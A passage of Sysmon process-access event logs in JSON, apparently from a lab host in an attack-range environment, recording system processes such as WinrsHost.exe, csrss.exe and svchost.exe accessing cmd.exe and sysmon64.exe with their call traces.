11:56:33.806","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010707D0800}","SourceProcessId":"3144","SourceThreadId":"4904","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00103D800800}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00103D800800}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00103D800800}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 